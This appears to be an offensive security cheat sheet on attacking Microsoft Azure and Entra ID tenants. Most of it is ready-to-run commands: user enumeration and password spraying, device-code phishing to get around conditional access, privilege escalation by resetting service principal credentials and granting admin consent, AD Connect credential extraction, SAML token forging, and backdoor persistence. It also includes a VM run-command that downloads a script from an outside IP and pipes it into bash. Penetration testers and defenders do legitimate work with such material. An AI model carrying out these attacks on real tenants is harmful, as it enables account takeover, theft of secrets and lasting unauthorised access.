Azure
Sections Azure
Azure + Entra ID (formerly Azure AD) attack surface. Hybrid AD integration covered briefly here, full on-prem AD in 00 AD MOC .
Microsoft rebranded “Azure AD” to “Entra ID” in 2023. Same product, same APIs. Tools still use “AAD” interchangeably. This file uses “Entra ID” for the identity layer and “Azure” for the resource layer.
TENANT=target.onmicrosoft.com
USER='user@target.com'
PASS='Password1'
i. Pre-auth: tenant enumeration
You don’t need credentials to enumerate a tenant’s basic info. Public endpoints give you a lot.
Find the tenant ID from a domain:
curl -s "https://login.microsoftonline.com/$TENANT/.well-known/openid-configuration" | jq -r .token_endpoint
## Tenant ID appears in the URL: /TENANT_ID/oauth2/v2.0/token
OpenID Connect metadata reveals SSO config, federation, supported flows:
curl -s "https://login.microsoftonline.com/$TENANT/v2.0/.well-known/openid-configuration" | jq
User existence check (no creds needed, no login attempt):
curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json; charset=UTF-8" \
-d '{"Username":"target@example.com"}' | jq
## "IfExistsResult": 0 = exists, 1 = does not exist, 5 = federated to external IdP
## "ThrottleStatus": 1 = blocked, do not retry quickly
Onyphe / shodan / cert transparency for *.onmicrosoft.com and *.cloudapp.azure.com discovery.
ii. Password spray Entra ID
Way less risky than on-prem AD because lockout is per-IP and slower:
## With MSOLSpray (still widely used)
python3 MSOLSpray.py --userlist users.txt --password 'Winter2025!'
## With nxc (Linux):
nxc azure --userlist users.txt --password 'Winter2025!' --tenant $TENANT
MFASweep (find users without MFA across many MS services):
## PowerShell:
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password 'Password1' -Recon
Entra ID has Smart Lockout (default 10 failures per IP per ~60 min). Use distributed source IPs or wait between sprays.
iii. Auth methods to know
Each auth method has different log signatures and detection profiles:
Password auth (ROPC, grant_type=password)
Direct OAuth password grant. Modern tenants often disable this. Try first because it gives access tokens directly with no MFA when conditional access doesn’t fire on Service Principal-style flows.
curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "scope=https://graph.microsoft.com/.default" \
-d "username=$USER" \
-d "password=$PASS" \
-d "grant_type=password" | jq
Device Code Flow (best for evading conditional access by impersonating mobile/console apps)
## Step 1: ask for a device code
curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "scope=https://graph.microsoft.com/.default offline_access" | jq
## Returns user_code, device_code, verification_uri
## Step 2: phish the user to visit verification_uri and enter user_code
## Step 3: poll for token
curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "device_code=DEVICE_CODE"
TokenTactics automates this:
git clone https://github.com/rvrsh3ll/TokenTactics
Import-Module .\TokenTactics.psd1
Get-AzureToken -Client MSGraph
Az CLI / Az PowerShell
az login ## interactive
az login --service-principal -u APP_ID -p CLIENT_SECRET --tenant TENANT_ID
az login --use-device-code ## device code flow
## After login:
az account show
az account list
Connect-AzAccount
Connect-AzAccount -Credential (Get-Credential)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant TENANT_ID
iv. ROADtools (the modern enum stack)
ROADtools = roadrecon (collector) + roadtools (graph viewer). Closer to BloodHound in spirit.
## Auth and dump:
roadrecon auth -u user@target.com -p Password1
## Or use device code:
roadrecon auth --device-code
## Then collect:
roadrecon gather
## Output: roadrecon.db (SQLite with everything)
## Browse the data:
roadrecon gui
## Open http://localhost:5000
Specific queries from the database:
roadrecon dump --type users
roadrecon dump --type applications
roadrecon dump --type approles
roadrecon dump --type roleassignments
v. AzureHound (BloodHound CE collector for Entra ID)
For BloodHound CE Azure analysis:
./azurehound -u user@target.com -p Password1 -t TENANT_ID list -o output.json
## Then in BloodHound CE: upload output.json (or zip it)
Use BloodHound’s Azure-specific edges to find privesc paths in Entra ID.
vi. AADInternals
PowerShell module with deep tenant manipulation capabilities. Use cases include hybrid AD attacks, federation hijack, immutable ID abuse.
Install-Module AADInternals
Import-Module AADInternals
## Login
$cred = Get-Credential
$at = Get-AADIntAccessTokenForAADGraph -Credentials $cred
## Tenant info without auth:
Get-AADIntTenantDomains -Domain target.com
Get-AADIntLoginInformation -Domain target.com
## Whoami:
Get-AADIntAccessTokenInfo -AccessToken $at
vii. Common Entra ID roles to look for
## Get all role assignments:
az role assignment list --all
## Or via Microsoft Graph:
curl -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/directoryRoles"
High-value Entra ID directory roles:
- Global Administrator - full tenant admin
- Privileged Role Administrator - can assign other roles, recursive privilege escalation
- Privileged Authentication Administrator - reset passwords of admins
- User Administrator - reset passwords of non-admins (and add to groups)
- Application Administrator / Cloud Application Administrator - abuse service principals, add credentials
- Hybrid Identity Administrator - manage AD Connect
viii. Azure RBAC roles
Different from Entra ID directory roles. Govern resources (subscriptions, resource groups, VMs).
## At subscription level:
az role assignment list --all --include-inherited
## Find Owner / Contributor / User Access Administrator assignments:
az role assignment list --all --include-inherited --query "[?roleDefinitionName=='Owner']"
Owner + User Access Administrator are the dangerous Azure RBAC roles. Owner can do anything in scope, UAA can grant any other role.
ix. Privilege escalation paths
Add credentials to a service principal you have rights on
az ad sp credential reset --id <APP_ID>
## Returns new client secret
az login --service-principal -u APP_ID -p NEW_SECRET --tenant TENANT_ID
If the SP has high-value API permissions or RBAC roles, you’ve inherited them.
Reset another user’s password (User Administrator or higher)
az ad user update --id victim@target.com --password 'NewP@ss123!'
Owner / UAA escalation
You’re Owner on a subscription. Add yourself as Owner of another scope (or User Access Administrator at the management group level):
az role assignment create --assignee user@target.com --role 'Owner' --scope /subscriptions/SUB_ID
Adding API permissions to a SP you own (consent abuse)
When you control a service principal AND can grant admin consent, give yourself any Graph permission:
az ad app permission add --id APP_ID --api 00000003-0000-0000-c000-000000000000 --api-permissions <PERM_GUID>=Role
az ad app permission grant --id APP_ID --api 00000003-0000-0000-c000-000000000000
az ad app permission admin-consent --id APP_ID
RoleManagement.ReadWrite.Directory is the holy grail - lets the SP assign itself any directory role, including Global Administrator.
Hybrid AD: Azure AD Connect server compromise
AD Connect syncs on-prem AD to Entra ID. The AD Connect server has:
- The MSOL_xxxxx account in on-prem AD (with DCSync rights)
- The cleartext password for the Entra ID sync account, stored encrypted on the AD Connect host
- Compromising AD Connect = compromise both on-prem AD AND Entra ID
nxc smb aadconnect.corp.local -u user -p pass -M adsyncdecrypt
## Or AADInternals:
## On the AD Connect host:
Get-AADIntSyncCredentials
Federated domain takeover via token signing key
If you have Global Admin or compromise the AD FS server, extract the signing key. Forge SAML tokens that bypass all Entra auth:
## On AD FS server:
$cert = Get-AADIntADFSCertificate
$key = Get-AADIntADFSSigningKey
## Forge token as any user:
Open-AADIntOffice365Portal -ImmutableID xyz -Issuer "http://target.com/adfs/services/trust/" -ByPassMFA
Conditional Access bypass via Device Code Flow
Many Conditional Access policies don’t apply to “trusted” client IDs (Office, Teams, OneDrive). Use those client IDs in your device code request:
## Microsoft Office client:
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c
## Azure CLI:
client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46
## Teams:
client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264
x. Service-specific: storage, VMs, functions, key vaults
Storage Account keys
## List storage accounts:
az storage account list --query '[].[name,resourceGroup]'
## Get account keys (often gives full data plane access):
az storage account keys list --account-name STORAGE -g RG
## Use key for blob enum:
az storage container list --account-name STORAGE --account-key KEY
Virtual Machines: run command as SYSTEM
With Microsoft.Compute/virtualMachines/runCommand/action:
az vm run-command invoke -g RG -n VMNAME --command-id RunPowerShellScript \
--scripts "Get-Process; whoami; ipconfig /all"
## Or:
az vm run-command invoke -g RG -n VMNAME --command-id RunShellScript \
--scripts "curl http://10.10.14.1/sh.sh | bash"
Function Apps and App Services
Read function code (often has connection strings):
az functionapp list-keys --resource-group RG --name FUNC
az functionapp config appsettings list -g RG -n FUNC
Key Vault
az keyvault list
az keyvault secret list --vault-name KV
az keyvault secret show --vault-name KV --name SECRET
Need Get or List permission on the data plane. If you have set on access policies, grant yourself those permissions first:
az keyvault set-policy --name KV --upn user@target.com --secret-permissions get list
Automation Accounts
Often store credentials as Automation variables and contain Runbook code with hardcoded secrets:
az automation account list
az automation account show -n AUTOACCT -g RG
## Read Runbook:
az automation runbook show-content -n RB --automation-account-name AUTOACCT -g RG
xi. Persistence
Service Principal with API permissions
Create an SP, give it RoleManagement.ReadWrite.Directory and admin-consent:
az ad sp create-for-rbac --name pwn-sp
## Note the appId and password
## Then the SP can be granted Graph permissions and assigned to any role
Backdoor existing SP
Add a second credential (client secret or certificate) to an existing high-priv SP:
az ad sp credential reset --id APP_ID --append
## --append keeps existing secrets active
Federation backdoor
On AD FS or external IdP, forge tokens for any tenant user as long as the trust remains. AADInternals Open-AADIntOffice365Portal patterns. Persistent until federation is removed.
Pass-through Auth Backdoor
If pass-through auth (PTA) is enabled and you control the on-prem PTA agent host, you can intercept every Entra login. AADInternals has Install-AADIntPTASpy.
xii. Detection
Sign-in logs and Audit logs in Entra ID record almost everything. Common monitoring:
- Suspicious sign-in patterns (impossible travel, anonymous IP, atypical location)
- Privileged role activation (PIM logs)
- Application permission grants
- Mass-data-export from Graph
Quick checks for your own footprint:
## Most recent sign-ins for yourself:
az ad signed-in-user show
## Audit log (requires Audit.Read.All):
curl -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=20"
xiii. Decision tree
You have a token / creds, now what?
az account showandaz ad signed-in-user show- what identity?roadrecon gatherto map everything you can see- AzureHound for BloodHound graphing
- Look for: SP with high API perms, RBAC Owner roles, group memberships (Global Admin, Application Admin)
- Hybrid setup? → AD Connect host is the dream target
- No direct privesc? → enumerate storage / Key Vault / Automation for stored secrets
- Persistence → add SP credential, or admin-consent a privileged SP
For on-prem AD attacks against hybrid setups, see 00 AD MOC .